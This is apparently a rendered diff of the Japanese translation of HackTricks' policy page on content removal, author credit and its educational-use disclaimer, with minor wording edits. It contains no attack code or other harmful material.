- コンテンツが**15以上の言語に翻訳され**、より多くの人々がこのコンテンツにアクセスできるようになります
|
||||
- **HackTricksは**人々に**あなたのページをチェックすることを奨励します**(何人かの人々が、彼らのページがHackTricksに掲載されて以来、訪問者が増えたと私たちに言っています)
|
||||
|
||||
しかし、もしあなたがそれでもHackTricksからあなたのブログのコンテンツを削除したい場合は、私たちに知らせてください。私たちは確実に**あなたのブログへのすべてのリンク**とそれに基づくコンテンツを**削除します**。
|
||||
しかし、もしあなたがまだあなたのブログのコンテンツをHackTricksから削除したい場合は、私たちに知らせてください。私たちは確実に**あなたのブログへのすべてのリンク**と、それに基づくコンテンツを**削除します**。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **HackTricksにコピー&ペーストされたコンテンツを見つけた場合はどうすればよいですか?**
|
||||
|
||||
私たちは常に**元の著者にすべてのクレジットを与えます**。元のソースが参照されていないコピー&ペーストされたコンテンツのあるページを見つけた場合は、お知らせください。私たちはそれを**削除する**か、**テキストの前にリンクを追加する**か、**リンクを追加して書き直す**かします。
|
||||
私たちは常に**元の著者にすべてのクレジットを与えます**。元のソースが参照されていないコピー&ペーストされたコンテンツのページを見つけた場合は、お知らせください。私たちはそれを**削除する**か、**テキストの前にリンクを追加する**か、**リンクを追加して書き直す**かします。
|
||||
|
||||
## LICENSE
|
||||
|
||||
@ -136,8 +136,8 @@ This license does not grant any trademark or branding rights in relation to the
|
||||
>
|
||||
> さらに、この本に記載されている技術やヒントは、教育および情報提供の目的のみを意図しており、違法または悪意のある活動に使用すべきではありません。著者および出版社は、違法または非倫理的な活動を容認または支持せず、この本に含まれる情報の使用は、ユーザーの自己責任と裁量に委ねられます。
|
||||
>
|
||||
> ユーザーは、この本に含まれる情報に基づいて行った行動に対して単独で責任を負い、ここに記載された技術やヒントを実装しようとする際には、常に専門家のアドバイスと支援を求めるべきです。
|
||||
> ユーザーは、この本に含まれる情報に基づいて行った行動に対して単独で責任を負い、ここに記載された技術やヒントを実装しようとする際には、常に専門的なアドバイスと支援を求めるべきです。
|
||||
>
|
||||
> この本を使用することにより、ユーザーは著者および出版社を、この本の使用またはその中に含まれる情報の使用から生じる損害、損失、または危害に対する一切の責任および責任から解放することに同意します。
|
||||
> この本を使用することにより、ユーザーは著者および出版社を、この本の使用またはその中に含まれる情報から生じる可能性のある損害、損失、または危害に対する一切の責任および責任から解放することに同意します。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user